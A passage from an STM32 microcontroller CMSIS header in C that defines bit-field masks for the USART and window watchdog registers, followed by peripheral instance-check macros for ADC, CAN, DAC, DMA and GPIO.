USART_CR1_DEDT_2 (0x04U << USART_CR1_DEDT_Pos) /*!< 0x00040000 */ #define USART_CR1_DEDT_3 (0x08U << USART_CR1_DEDT_Pos) /*!< 0x00080000 */ #define USART_CR1_DEDT_4 (0x10U << USART_CR1_DEDT_Pos) /*!< 0x00100000 */ #define USART_CR1_DEAT_Pos (21U) #define USART_CR1_DEAT_Msk (0x1FU << USART_CR1_DEAT_Pos) /*!< 0x03E00000 */ #define USART_CR1_DEAT USART_CR1_DEAT_Msk /*!< DEAT[4:0] bits (Driver Enable Assertion Time) */ #define USART_CR1_DEAT_0 (0x01U << USART_CR1_DEAT_Pos) /*!< 0x00200000 */ #define USART_CR1_DEAT_1 (0x02U << USART_CR1_DEAT_Pos) /*!< 0x00400000 */ #define USART_CR1_DEAT_2 (0x04U << USART_CR1_DEAT_Pos) /*!< 0x00800000 */ #define USART_CR1_DEAT_3 (0x08U << USART_CR1_DEAT_Pos) /*!< 0x01000000 */ #define USART_CR1_DEAT_4 (0x10U << USART_CR1_DEAT_Pos) /*!< 0x02000000 */ #define USART_CR1_RTOIE_Pos (26U) #define USART_CR1_RTOIE_Msk (0x1U << USART_CR1_RTOIE_Pos) /*!< 0x04000000 */ #define USART_CR1_RTOIE USART_CR1_RTOIE_Msk /*!< Receive Time Out interrupt enable */ #define USART_CR1_EOBIE_Pos (27U) #define USART_CR1_EOBIE_Msk (0x1U << USART_CR1_EOBIE_Pos) /*!< 0x08000000 */ #define USART_CR1_EOBIE USART_CR1_EOBIE_Msk /*!< End of Block interrupt enable */ #define USART_CR1_M1_Pos (28U) #define USART_CR1_M1_Msk (0x1U << USART_CR1_M1_Pos) /*!< 0x10000000 */ #define USART_CR1_M1 USART_CR1_M1_Msk /*!< Word length bit 1 */ #define USART_CR1_M_Pos (12U) #define USART_CR1_M_Msk (0x10001U << USART_CR1_M_Pos) /*!< 0x10001000 */ #define USART_CR1_M USART_CR1_M_Msk /*!< [M1:M0] Word length */ /****************** Bit definition for USART_CR2 register *******************/ #define USART_CR2_ADDM7_Pos (4U) #define USART_CR2_ADDM7_Msk (0x1U << USART_CR2_ADDM7_Pos) /*!< 0x00000010 */ #define USART_CR2_ADDM7 USART_CR2_ADDM7_Msk /*!< 7-bit or 4-bit Address Detection */ #define USART_CR2_LBDL_Pos (5U) #define USART_CR2_LBDL_Msk (0x1U << USART_CR2_LBDL_Pos) /*!< 0x00000020 */ #define USART_CR2_LBDL USART_CR2_LBDL_Msk /*!< LIN Break Detection Length */ #define USART_CR2_LBDIE_Pos (6U) #define USART_CR2_LBDIE_Msk (0x1U << USART_CR2_LBDIE_Pos) /*!< 0x00000040 */ #define USART_CR2_LBDIE USART_CR2_LBDIE_Msk /*!< LIN Break Detection Interrupt Enable */ #define USART_CR2_LBCL_Pos (8U) #define USART_CR2_LBCL_Msk (0x1U << USART_CR2_LBCL_Pos) /*!< 0x00000100 */ #define USART_CR2_LBCL USART_CR2_LBCL_Msk /*!< Last Bit Clock pulse */ #define USART_CR2_CPHA_Pos (9U) #define USART_CR2_CPHA_Msk (0x1U << USART_CR2_CPHA_Pos) /*!< 0x00000200 */ #define USART_CR2_CPHA USART_CR2_CPHA_Msk /*!< Clock Phase */ #define USART_CR2_CPOL_Pos (10U) #define USART_CR2_CPOL_Msk (0x1U << USART_CR2_CPOL_Pos) /*!< 0x00000400 */ #define USART_CR2_CPOL USART_CR2_CPOL_Msk /*!< Clock Polarity */ #define USART_CR2_CLKEN_Pos (11U) #define USART_CR2_CLKEN_Msk (0x1U << USART_CR2_CLKEN_Pos) /*!< 0x00000800 */ #define USART_CR2_CLKEN USART_CR2_CLKEN_Msk /*!< Clock Enable */ #define USART_CR2_STOP_Pos (12U) #define USART_CR2_STOP_Msk (0x3U << USART_CR2_STOP_Pos) /*!< 0x00003000 */ #define USART_CR2_STOP USART_CR2_STOP_Msk /*!< STOP[1:0] bits (STOP bits) */ #define USART_CR2_STOP_0 (0x1U << USART_CR2_STOP_Pos) /*!< 0x00001000 */ #define USART_CR2_STOP_1 (0x2U << USART_CR2_STOP_Pos) /*!< 0x00002000 */ #define USART_CR2_LINEN_Pos (14U) #define USART_CR2_LINEN_Msk (0x1U << USART_CR2_LINEN_Pos) /*!< 0x00004000 */ #define USART_CR2_LINEN USART_CR2_LINEN_Msk /*!< LIN mode enable */ #define USART_CR2_SWAP_Pos (15U) #define USART_CR2_SWAP_Msk (0x1U << USART_CR2_SWAP_Pos) /*!< 0x00008000 */ #define USART_CR2_SWAP USART_CR2_SWAP_Msk /*!< SWAP TX/RX pins */ #define USART_CR2_RXINV_Pos (16U) #define USART_CR2_RXINV_Msk (0x1U << USART_CR2_RXINV_Pos) /*!< 0x00010000 */ #define USART_CR2_RXINV USART_CR2_RXINV_Msk /*!< RX pin active level inversion */ #define USART_CR2_TXINV_Pos (17U) #define USART_CR2_TXINV_Msk (0x1U << USART_CR2_TXINV_Pos) /*!< 0x00020000 */ #define USART_CR2_TXINV USART_CR2_TXINV_Msk /*!< TX pin active level inversion */ #define USART_CR2_DATAINV_Pos (18U) #define USART_CR2_DATAINV_Msk (0x1U << USART_CR2_DATAINV_Pos) /*!< 0x00040000 */ #define USART_CR2_DATAINV USART_CR2_DATAINV_Msk /*!< Binary data inversion */ #define USART_CR2_MSBFIRST_Pos (19U) #define USART_CR2_MSBFIRST_Msk (0x1U << USART_CR2_MSBFIRST_Pos) /*!< 0x00080000 */ #define USART_CR2_MSBFIRST USART_CR2_MSBFIRST_Msk /*!< Most Significant Bit First */ #define USART_CR2_ABREN_Pos (20U) #define USART_CR2_ABREN_Msk (0x1U << USART_CR2_ABREN_Pos) /*!< 0x00100000 */ #define USART_CR2_ABREN USART_CR2_ABREN_Msk /*!< Auto Baud-Rate Enable*/ #define USART_CR2_ABRMODE_Pos (21U) #define USART_CR2_ABRMODE_Msk (0x3U << USART_CR2_ABRMODE_Pos) /*!< 0x00600000 */ #define USART_CR2_ABRMODE USART_CR2_ABRMODE_Msk /*!< ABRMOD[1:0] bits (Auto Baud-Rate Mode) */ #define USART_CR2_ABRMODE_0 (0x1U << USART_CR2_ABRMODE_Pos) /*!< 0x00200000 */ #define USART_CR2_ABRMODE_1 (0x2U << USART_CR2_ABRMODE_Pos) /*!< 0x00400000 */ #define USART_CR2_RTOEN_Pos (23U) #define USART_CR2_RTOEN_Msk (0x1U << USART_CR2_RTOEN_Pos) /*!< 0x00800000 */ #define USART_CR2_RTOEN USART_CR2_RTOEN_Msk /*!< Receiver Time-Out enable */ #define USART_CR2_ADD_Pos (24U) #define USART_CR2_ADD_Msk (0xFFU << USART_CR2_ADD_Pos) /*!< 0xFF000000 */ #define USART_CR2_ADD USART_CR2_ADD_Msk /*!< Address of the USART node */ /****************** Bit definition for USART_CR3 register *******************/ #define USART_CR3_EIE_Pos (0U) #define USART_CR3_EIE_Msk (0x1U << USART_CR3_EIE_Pos) /*!< 0x00000001 */ #define USART_CR3_EIE USART_CR3_EIE_Msk /*!< Error Interrupt Enable */ #define USART_CR3_IREN_Pos (1U) #define USART_CR3_IREN_Msk (0x1U << USART_CR3_IREN_Pos) /*!< 0x00000002 */ #define USART_CR3_IREN USART_CR3_IREN_Msk /*!< IrDA mode Enable */ #define USART_CR3_IRLP_Pos (2U) #define USART_CR3_IRLP_Msk (0x1U << USART_CR3_IRLP_Pos) /*!< 0x00000004 */ #define USART_CR3_IRLP USART_CR3_IRLP_Msk /*!< IrDA Low-Power */ #define USART_CR3_HDSEL_Pos (3U) #define USART_CR3_HDSEL_Msk (0x1U << USART_CR3_HDSEL_Pos) /*!< 0x00000008 */ #define USART_CR3_HDSEL USART_CR3_HDSEL_Msk /*!< Half-Duplex Selection */ #define USART_CR3_NACK_Pos (4U) #define USART_CR3_NACK_Msk (0x1U << USART_CR3_NACK_Pos) /*!< 0x00000010 */ #define USART_CR3_NACK USART_CR3_NACK_Msk /*!< SmartCard NACK enable */ #define USART_CR3_SCEN_Pos (5U) #define USART_CR3_SCEN_Msk (0x1U << USART_CR3_SCEN_Pos) /*!< 0x00000020 */ #define USART_CR3_SCEN USART_CR3_SCEN_Msk /*!< SmartCard mode enable */ #define USART_CR3_DMAR_Pos (6U) #define USART_CR3_DMAR_Msk (0x1U << USART_CR3_DMAR_Pos) /*!< 0x00000040 */ #define USART_CR3_DMAR USART_CR3_DMAR_Msk /*!< DMA Enable Receiver */ #define USART_CR3_DMAT_Pos (7U) #define USART_CR3_DMAT_Msk (0x1U << USART_CR3_DMAT_Pos) /*!< 0x00000080 */ #define USART_CR3_DMAT USART_CR3_DMAT_Msk /*!< DMA Enable Transmitter */ #define USART_CR3_RTSE_Pos (8U) #define USART_CR3_RTSE_Msk (0x1U << USART_CR3_RTSE_Pos) /*!< 0x00000100 */ #define USART_CR3_RTSE USART_CR3_RTSE_Msk /*!< RTS Enable */ #define USART_CR3_CTSE_Pos (9U) #define USART_CR3_CTSE_Msk (0x1U << USART_CR3_CTSE_Pos) /*!< 0x00000200 */ #define USART_CR3_CTSE USART_CR3_CTSE_Msk /*!< CTS Enable */ #define USART_CR3_CTSIE_Pos (10U) #define USART_CR3_CTSIE_Msk (0x1U << USART_CR3_CTSIE_Pos) /*!< 0x00000400 */ #define USART_CR3_CTSIE USART_CR3_CTSIE_Msk /*!< CTS Interrupt Enable */ #define USART_CR3_ONEBIT_Pos (11U) #define USART_CR3_ONEBIT_Msk (0x1U << USART_CR3_ONEBIT_Pos) /*!< 0x00000800 */ #define USART_CR3_ONEBIT USART_CR3_ONEBIT_Msk /*!< One sample bit method enable */ #define USART_CR3_OVRDIS_Pos (12U) #define USART_CR3_OVRDIS_Msk (0x1U << USART_CR3_OVRDIS_Pos) /*!< 0x00001000 */ #define USART_CR3_OVRDIS USART_CR3_OVRDIS_Msk /*!< Overrun Disable */ #define USART_CR3_DDRE_Pos (13U) #define USART_CR3_DDRE_Msk (0x1U << USART_CR3_DDRE_Pos) /*!< 0x00002000 */ #define USART_CR3_DDRE USART_CR3_DDRE_Msk /*!< DMA Disable on Reception Error */ #define USART_CR3_DEM_Pos (14U) #define USART_CR3_DEM_Msk (0x1U << USART_CR3_DEM_Pos) /*!< 0x00004000 */ #define USART_CR3_DEM USART_CR3_DEM_Msk /*!< Driver Enable Mode */ #define USART_CR3_DEP_Pos (15U) #define USART_CR3_DEP_Msk (0x1U << USART_CR3_DEP_Pos) /*!< 0x00008000 */ #define USART_CR3_DEP USART_CR3_DEP_Msk /*!< Driver Enable Polarity Selection */ #define USART_CR3_SCARCNT_Pos (17U) #define USART_CR3_SCARCNT_Msk (0x7U << USART_CR3_SCARCNT_Pos) /*!< 0x000E0000 */ #define USART_CR3_SCARCNT USART_CR3_SCARCNT_Msk /*!< SCARCNT[2:0] bits (SmartCard Auto-Retry Count) */ #define USART_CR3_SCARCNT_0 (0x1U << USART_CR3_SCARCNT_Pos) /*!< 0x00020000 */ #define USART_CR3_SCARCNT_1 (0x2U << USART_CR3_SCARCNT_Pos) /*!< 0x00040000 */ #define USART_CR3_SCARCNT_2 (0x4U << USART_CR3_SCARCNT_Pos) /*!< 0x00080000 */ #define USART_CR3_WUS_Pos (20U) #define USART_CR3_WUS_Msk (0x3U << USART_CR3_WUS_Pos) /*!< 0x00300000 */ #define USART_CR3_WUS USART_CR3_WUS_Msk /*!< WUS[1:0] bits (Wake UP Interrupt Flag Selection) */ #define USART_CR3_WUS_0 (0x1U << USART_CR3_WUS_Pos) /*!< 0x00100000 */ #define USART_CR3_WUS_1 (0x2U << USART_CR3_WUS_Pos) /*!< 0x00200000 */ #define USART_CR3_WUFIE_Pos (22U) #define USART_CR3_WUFIE_Msk (0x1U << USART_CR3_WUFIE_Pos) /*!< 0x00400000 */ #define USART_CR3_WUFIE USART_CR3_WUFIE_Msk /*!< Wake Up Interrupt Enable */ /****************** Bit definition for USART_BRR register *******************/ #define USART_BRR_DIV_FRACTION_Pos (0U) #define USART_BRR_DIV_FRACTION_Msk (0xFU << USART_BRR_DIV_FRACTION_Pos) /*!< 0x0000000F */ #define USART_BRR_DIV_FRACTION USART_BRR_DIV_FRACTION_Msk /*!< Fraction of USARTDIV */ #define USART_BRR_DIV_MANTISSA_Pos (4U) #define USART_BRR_DIV_MANTISSA_Msk (0xFFFU << USART_BRR_DIV_MANTISSA_Pos) /*!< 0x0000FFF0 */ #define USART_BRR_DIV_MANTISSA USART_BRR_DIV_MANTISSA_Msk /*!< Mantissa of USARTDIV */ /****************** Bit definition for USART_GTPR register ******************/ #define USART_GTPR_PSC_Pos (0U) #define USART_GTPR_PSC_Msk (0xFFU << USART_GTPR_PSC_Pos) /*!< 0x000000FF */ #define USART_GTPR_PSC USART_GTPR_PSC_Msk /*!< PSC[7:0] bits (Prescaler value) */ #define USART_GTPR_GT_Pos (8U) #define USART_GTPR_GT_Msk (0xFFU << USART_GTPR_GT_Pos) /*!< 0x0000FF00 */ #define USART_GTPR_GT USART_GTPR_GT_Msk /*!< GT[7:0] bits (Guard time value) */ /******************* Bit definition for USART_RTOR register *****************/ #define USART_RTOR_RTO_Pos (0U) #define USART_RTOR_RTO_Msk (0xFFFFFFU << USART_RTOR_RTO_Pos) /*!< 0x00FFFFFF */ #define USART_RTOR_RTO USART_RTOR_RTO_Msk /*!< Receiver Time Out Value */ #define USART_RTOR_BLEN_Pos (24U) #define USART_RTOR_BLEN_Msk (0xFFU << USART_RTOR_BLEN_Pos) /*!< 0xFF000000 */ #define USART_RTOR_BLEN USART_RTOR_BLEN_Msk /*!< Block Length */ /******************* Bit definition for USART_RQR register ******************/ #define USART_RQR_ABRRQ_Pos (0U) #define USART_RQR_ABRRQ_Msk (0x1U << USART_RQR_ABRRQ_Pos) /*!< 0x00000001 */ #define USART_RQR_ABRRQ USART_RQR_ABRRQ_Msk /*!< Auto-Baud Rate Request */ #define USART_RQR_SBKRQ_Pos (1U) #define USART_RQR_SBKRQ_Msk (0x1U << USART_RQR_SBKRQ_Pos) /*!< 0x00000002 */ #define USART_RQR_SBKRQ USART_RQR_SBKRQ_Msk /*!< Send Break Request */ #define USART_RQR_MMRQ_Pos (2U) #define USART_RQR_MMRQ_Msk (0x1U << USART_RQR_MMRQ_Pos) /*!< 0x00000004 */ #define USART_RQR_MMRQ USART_RQR_MMRQ_Msk /*!< Mute Mode Request */ #define USART_RQR_RXFRQ_Pos (3U) #define USART_RQR_RXFRQ_Msk (0x1U << USART_RQR_RXFRQ_Pos) /*!< 0x00000008 */ #define USART_RQR_RXFRQ USART_RQR_RXFRQ_Msk /*!< Receive Data flush Request */ #define USART_RQR_TXFRQ_Pos (4U) #define USART_RQR_TXFRQ_Msk (0x1U << USART_RQR_TXFRQ_Pos) /*!< 0x00000010 */ #define USART_RQR_TXFRQ USART_RQR_TXFRQ_Msk /*!< Transmit data flush Request */ /******************* Bit definition for USART_ISR register ******************/ #define USART_ISR_PE_Pos (0U) #define USART_ISR_PE_Msk (0x1U << USART_ISR_PE_Pos) /*!< 0x00000001 */ #define USART_ISR_PE USART_ISR_PE_Msk /*!< Parity Error */ #define USART_ISR_FE_Pos (1U) #define USART_ISR_FE_Msk (0x1U << USART_ISR_FE_Pos) /*!< 0x00000002 */ #define USART_ISR_FE USART_ISR_FE_Msk /*!< Framing Error */ #define USART_ISR_NE_Pos (2U) #define USART_ISR_NE_Msk (0x1U << USART_ISR_NE_Pos) /*!< 0x00000004 */ #define USART_ISR_NE USART_ISR_NE_Msk /*!< Noise detected Flag */ #define USART_ISR_ORE_Pos (3U) #define USART_ISR_ORE_Msk (0x1U << USART_ISR_ORE_Pos) /*!< 0x00000008 */ #define USART_ISR_ORE USART_ISR_ORE_Msk /*!< OverRun Error */ #define USART_ISR_IDLE_Pos (4U) #define USART_ISR_IDLE_Msk (0x1U << USART_ISR_IDLE_Pos) /*!< 0x00000010 */ #define USART_ISR_IDLE USART_ISR_IDLE_Msk /*!< IDLE line detected */ #define USART_ISR_RXNE_Pos (5U) #define USART_ISR_RXNE_Msk (0x1U << USART_ISR_RXNE_Pos) /*!< 0x00000020 */ #define USART_ISR_RXNE USART_ISR_RXNE_Msk /*!< Read Data Register Not Empty */ #define USART_ISR_TC_Pos (6U) #define USART_ISR_TC_Msk (0x1U << USART_ISR_TC_Pos) /*!< 0x00000040 */ #define USART_ISR_TC USART_ISR_TC_Msk /*!< Transmission Complete */ #define USART_ISR_TXE_Pos (7U) #define USART_ISR_TXE_Msk (0x1U << USART_ISR_TXE_Pos) /*!< 0x00000080 */ #define USART_ISR_TXE USART_ISR_TXE_Msk /*!< Transmit Data Register Empty */ #define USART_ISR_LBDF_Pos (8U) #define USART_ISR_LBDF_Msk (0x1U << USART_ISR_LBDF_Pos) /*!< 0x00000100 */ #define USART_ISR_LBDF USART_ISR_LBDF_Msk /*!< LIN Break Detection Flag */ #define USART_ISR_CTSIF_Pos (9U) #define USART_ISR_CTSIF_Msk (0x1U << USART_ISR_CTSIF_Pos) /*!< 0x00000200 */ #define USART_ISR_CTSIF USART_ISR_CTSIF_Msk /*!< CTS interrupt flag */ #define USART_ISR_CTS_Pos (10U) #define USART_ISR_CTS_Msk (0x1U << USART_ISR_CTS_Pos) /*!< 0x00000400 */ #define USART_ISR_CTS USART_ISR_CTS_Msk /*!< CTS flag */ #define USART_ISR_RTOF_Pos (11U) #define USART_ISR_RTOF_Msk (0x1U << USART_ISR_RTOF_Pos) /*!< 0x00000800 */ #define USART_ISR_RTOF USART_ISR_RTOF_Msk /*!< Receiver Time Out */ #define USART_ISR_EOBF_Pos (12U) #define USART_ISR_EOBF_Msk (0x1U << USART_ISR_EOBF_Pos) /*!< 0x00001000 */ #define USART_ISR_EOBF USART_ISR_EOBF_Msk /*!< End Of Block Flag */ #define USART_ISR_ABRE_Pos (14U) #define USART_ISR_ABRE_Msk (0x1U << USART_ISR_ABRE_Pos) /*!< 0x00004000 */ #define USART_ISR_ABRE USART_ISR_ABRE_Msk /*!< Auto-Baud Rate Error */ #define USART_ISR_ABRF_Pos (15U) #define USART_ISR_ABRF_Msk (0x1U << USART_ISR_ABRF_Pos) /*!< 0x00008000 */ #define USART_ISR_ABRF USART_ISR_ABRF_Msk /*!< Auto-Baud Rate Flag */ #define USART_ISR_BUSY_Pos (16U) #define USART_ISR_BUSY_Msk (0x1U << USART_ISR_BUSY_Pos) /*!< 0x00010000 */ #define USART_ISR_BUSY USART_ISR_BUSY_Msk /*!< Busy Flag */ #define USART_ISR_CMF_Pos (17U) #define USART_ISR_CMF_Msk (0x1U << USART_ISR_CMF_Pos) /*!< 0x00020000 */ #define USART_ISR_CMF USART_ISR_CMF_Msk /*!< Character Match Flag */ #define USART_ISR_SBKF_Pos (18U) #define USART_ISR_SBKF_Msk (0x1U << USART_ISR_SBKF_Pos) /*!< 0x00040000 */ #define USART_ISR_SBKF USART_ISR_SBKF_Msk /*!< Send Break Flag */ #define USART_ISR_RWU_Pos (19U) #define USART_ISR_RWU_Msk (0x1U << USART_ISR_RWU_Pos) /*!< 0x00080000 */ #define USART_ISR_RWU USART_ISR_RWU_Msk /*!< Receive Wake Up from mute mode Flag */ #define USART_ISR_WUF_Pos (20U) #define USART_ISR_WUF_Msk (0x1U << USART_ISR_WUF_Pos) /*!< 0x00100000 */ #define USART_ISR_WUF USART_ISR_WUF_Msk /*!< Wake Up from stop mode Flag */ #define USART_ISR_TEACK_Pos (21U) #define USART_ISR_TEACK_Msk (0x1U << USART_ISR_TEACK_Pos) /*!< 0x00200000 */ #define USART_ISR_TEACK USART_ISR_TEACK_Msk /*!< Transmit Enable Acknowledge Flag */ #define USART_ISR_REACK_Pos (22U) #define USART_ISR_REACK_Msk (0x1U << USART_ISR_REACK_Pos) /*!< 0x00400000 */ #define USART_ISR_REACK USART_ISR_REACK_Msk /*!< Receive Enable Acknowledge Flag */ /******************* Bit definition for USART_ICR register ******************/ #define USART_ICR_PECF_Pos (0U) #define USART_ICR_PECF_Msk (0x1U << USART_ICR_PECF_Pos) /*!< 0x00000001 */ #define USART_ICR_PECF USART_ICR_PECF_Msk /*!< Parity Error Clear Flag */ #define USART_ICR_FECF_Pos (1U) #define USART_ICR_FECF_Msk (0x1U << USART_ICR_FECF_Pos) /*!< 0x00000002 */ #define USART_ICR_FECF USART_ICR_FECF_Msk /*!< Framing Error Clear Flag */ #define USART_ICR_NCF_Pos (2U) #define USART_ICR_NCF_Msk (0x1U << USART_ICR_NCF_Pos) /*!< 0x00000004 */ #define USART_ICR_NCF USART_ICR_NCF_Msk /*!< Noise detected Clear Flag */ #define USART_ICR_ORECF_Pos (3U) #define USART_ICR_ORECF_Msk (0x1U << USART_ICR_ORECF_Pos) /*!< 0x00000008 */ #define USART_ICR_ORECF USART_ICR_ORECF_Msk /*!< OverRun Error Clear Flag */ #define USART_ICR_IDLECF_Pos (4U) #define USART_ICR_IDLECF_Msk (0x1U << USART_ICR_IDLECF_Pos) /*!< 0x00000010 */ #define USART_ICR_IDLECF USART_ICR_IDLECF_Msk /*!< IDLE line detected Clear Flag */ #define USART_ICR_TCCF_Pos (6U) #define USART_ICR_TCCF_Msk (0x1U << USART_ICR_TCCF_Pos) /*!< 0x00000040 */ #define USART_ICR_TCCF USART_ICR_TCCF_Msk /*!< Transmission Complete Clear Flag */ #define USART_ICR_LBDCF_Pos (8U) #define USART_ICR_LBDCF_Msk (0x1U << USART_ICR_LBDCF_Pos) /*!< 0x00000100 */ #define USART_ICR_LBDCF USART_ICR_LBDCF_Msk /*!< LIN Break Detection Clear Flag */ #define USART_ICR_CTSCF_Pos (9U) #define USART_ICR_CTSCF_Msk (0x1U << USART_ICR_CTSCF_Pos) /*!< 0x00000200 */ #define USART_ICR_CTSCF USART_ICR_CTSCF_Msk /*!< CTS Interrupt Clear Flag */ #define USART_ICR_RTOCF_Pos (11U) #define USART_ICR_RTOCF_Msk (0x1U << USART_ICR_RTOCF_Pos) /*!< 0x00000800 */ #define USART_ICR_RTOCF USART_ICR_RTOCF_Msk /*!< Receiver Time Out Clear Flag */ #define USART_ICR_EOBCF_Pos (12U) #define USART_ICR_EOBCF_Msk (0x1U << USART_ICR_EOBCF_Pos) /*!< 0x00001000 */ #define USART_ICR_EOBCF USART_ICR_EOBCF_Msk /*!< End Of Block Clear Flag */ #define USART_ICR_CMCF_Pos (17U) #define USART_ICR_CMCF_Msk (0x1U << USART_ICR_CMCF_Pos) /*!< 0x00020000 */ #define USART_ICR_CMCF USART_ICR_CMCF_Msk /*!< Character Match Clear Flag */ #define USART_ICR_WUCF_Pos (20U) #define USART_ICR_WUCF_Msk (0x1U << USART_ICR_WUCF_Pos) /*!< 0x00100000 */ #define USART_ICR_WUCF USART_ICR_WUCF_Msk /*!< Wake Up from stop mode Clear Flag */ /******************* Bit definition for USART_RDR register ******************/ #define USART_RDR_RDR_Pos (0U) #define USART_RDR_RDR_Msk (0x1FFU << USART_RDR_RDR_Pos) /*!< 0x000001FF */ #define USART_RDR_RDR USART_RDR_RDR_Msk /*!< RDR[8:0] bits (Receive Data value) */ /******************* Bit definition for USART_TDR register ******************/ #define USART_TDR_TDR_Pos (0U) #define USART_TDR_TDR_Msk (0x1FFU << USART_TDR_TDR_Pos) /*!< 0x000001FF */ #define USART_TDR_TDR USART_TDR_TDR_Msk /*!< TDR[8:0] bits (Transmit Data value) */ /******************************************************************************/ /* */ /* Window WATCHDOG */ /* */ /******************************************************************************/ /******************* Bit definition for WWDG_CR register ********************/ #define WWDG_CR_T_Pos (0U) #define WWDG_CR_T_Msk (0x7FU << WWDG_CR_T_Pos) /*!< 0x0000007F */ #define WWDG_CR_T WWDG_CR_T_Msk /*!< T[6:0] bits (7-Bit counter (MSB to LSB)) */ #define WWDG_CR_T_0 (0x01U << WWDG_CR_T_Pos) /*!< 0x00000001 */ #define WWDG_CR_T_1 (0x02U << WWDG_CR_T_Pos) /*!< 0x00000002 */ #define WWDG_CR_T_2 (0x04U << WWDG_CR_T_Pos) /*!< 0x00000004 */ #define WWDG_CR_T_3 (0x08U << WWDG_CR_T_Pos) /*!< 0x00000008 */ #define WWDG_CR_T_4 (0x10U << WWDG_CR_T_Pos) /*!< 0x00000010 */ #define WWDG_CR_T_5 (0x20U << WWDG_CR_T_Pos) /*!< 0x00000020 */ #define WWDG_CR_T_6 (0x40U << WWDG_CR_T_Pos) /*!< 0x00000040 */ /* Legacy defines */ #define WWDG_CR_T0 WWDG_CR_T_0 #define WWDG_CR_T1 WWDG_CR_T_1 #define WWDG_CR_T2 WWDG_CR_T_2 #define WWDG_CR_T3 WWDG_CR_T_3 #define WWDG_CR_T4 WWDG_CR_T_4 #define WWDG_CR_T5 WWDG_CR_T_5 #define WWDG_CR_T6 WWDG_CR_T_6 #define WWDG_CR_WDGA_Pos (7U) #define WWDG_CR_WDGA_Msk (0x1U << WWDG_CR_WDGA_Pos) /*!< 0x00000080 */ #define WWDG_CR_WDGA WWDG_CR_WDGA_Msk /*!<Activation bit */ /******************* Bit definition for WWDG_CFR register *******************/ #define WWDG_CFR_W_Pos (0U) #define WWDG_CFR_W_Msk (0x7FU << WWDG_CFR_W_Pos) /*!< 0x0000007F */ #define WWDG_CFR_W WWDG_CFR_W_Msk /*!< W[6:0] bits (7-bit window value) */ #define WWDG_CFR_W_0 (0x01U << WWDG_CFR_W_Pos) /*!< 0x00000001 */ #define WWDG_CFR_W_1 (0x02U << WWDG_CFR_W_Pos) /*!< 0x00000002 */ #define WWDG_CFR_W_2 (0x04U << WWDG_CFR_W_Pos) /*!< 0x00000004 */ #define WWDG_CFR_W_3 (0x08U << WWDG_CFR_W_Pos) /*!< 0x00000008 */ #define WWDG_CFR_W_4 (0x10U << WWDG_CFR_W_Pos) /*!< 0x00000010 */ #define WWDG_CFR_W_5 (0x20U << WWDG_CFR_W_Pos) /*!< 0x00000020 */ #define WWDG_CFR_W_6 (0x40U << WWDG_CFR_W_Pos) /*!< 0x00000040 */ /* Legacy defines */ #define WWDG_CFR_W0 WWDG_CFR_W_0 #define WWDG_CFR_W1 WWDG_CFR_W_1 #define WWDG_CFR_W2 WWDG_CFR_W_2 #define WWDG_CFR_W3 WWDG_CFR_W_3 #define WWDG_CFR_W4 WWDG_CFR_W_4 #define WWDG_CFR_W5 WWDG_CFR_W_5 #define WWDG_CFR_W6 WWDG_CFR_W_6 #define WWDG_CFR_WDGTB_Pos (7U) #define WWDG_CFR_WDGTB_Msk (0x3U << WWDG_CFR_WDGTB_Pos) /*!< 0x00000180 */ #define WWDG_CFR_WDGTB WWDG_CFR_WDGTB_Msk /*!< WDGTB[1:0] bits (Timer Base) */ #define WWDG_CFR_WDGTB_0 (0x1U << WWDG_CFR_WDGTB_Pos) /*!< 0x00000080 */ #define WWDG_CFR_WDGTB_1 (0x2U << WWDG_CFR_WDGTB_Pos) /*!< 0x00000100 */ /* Legacy defines */ #define WWDG_CFR_WDGTB0 WWDG_CFR_WDGTB_0 #define WWDG_CFR_WDGTB1 WWDG_CFR_WDGTB_1 #define WWDG_CFR_EWI_Pos (9U) #define WWDG_CFR_EWI_Msk (0x1U << WWDG_CFR_EWI_Pos) /*!< 0x00000200 */ #define WWDG_CFR_EWI WWDG_CFR_EWI_Msk /*!<Early Wakeup Interrupt */ /******************* Bit definition for WWDG_SR register ********************/ #define WWDG_SR_EWIF_Pos (0U) #define WWDG_SR_EWIF_Msk (0x1U << WWDG_SR_EWIF_Pos) /*!< 0x00000001 */ #define WWDG_SR_EWIF WWDG_SR_EWIF_Msk /*!<Early Wakeup Interrupt Flag */ /** * @} */ /** * @} */ /** @addtogroup Exported_macros * @{ */ /****************************** ADC Instances *********************************/ #define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1) || \ ((INSTANCE) == ADC2)) #define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1)) #define IS_ADC_COMMON_INSTANCE(INSTANCE) ((INSTANCE) == ADC12_COMMON) /****************************** CAN Instances *********************************/ #define IS_CAN_ALL_INSTANCE(INSTANCE) ((INSTANCE) == CAN) /****************************** COMP Instances ********************************/ #define IS_COMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == COMP2) || \ ((INSTANCE) == COMP4) || \ ((INSTANCE) == COMP6)) #define IS_COMP_COMMON_INSTANCE(COMMON_INSTANCE) (0U) /******************** COMP Instances with switch on DAC1 Channel1 output ******/ #define IS_COMP_DAC1SWITCH_INSTANCE(INSTANCE) (0U) /******************** COMP Instances with window mode capability **************/ #define IS_COMP_WINDOWMODE_INSTANCE(INSTANCE) (0U) /****************************** CRC Instances *********************************/ #define IS_CRC_ALL_INSTANCE(INSTANCE) ((INSTANCE) == CRC) /****************************** DAC Instances *********************************/ #define IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1) || \ ((INSTANCE) == DAC2)) #define IS_DAC_CHANNEL_INSTANCE(INSTANCE, CHANNEL) \ ((((INSTANCE) == DAC1) && \ (((CHANNEL) == DAC_CHANNEL_1) || \ ((CHANNEL) == DAC_CHANNEL_2))) \ || \ (((INSTANCE) == DAC2) && \ (((CHANNEL) == DAC_CHANNEL_1)))) /****************************** DMA Instances *********************************/ #define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DMA1_Channel1) || \ ((INSTANCE) == DMA1_Channel2) || \ ((INSTANCE) == DMA1_Channel3) || \ ((INSTANCE) == DMA1_Channel4) || \ ((INSTANCE) == DMA1_Channel5) || \ ((INSTANCE) == DMA1_Channel6) || \ ((INSTANCE) == DMA1_Channel7)) /****************************** GPIO Instances ********************************/ #define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA) || \ ((INSTANCE) == GPIOB) || \ ((INSTANCE) == GPIOC) || \ ((INSTANCE) == GPIOD) || \ ((INSTANCE) == GPIOF)) #define 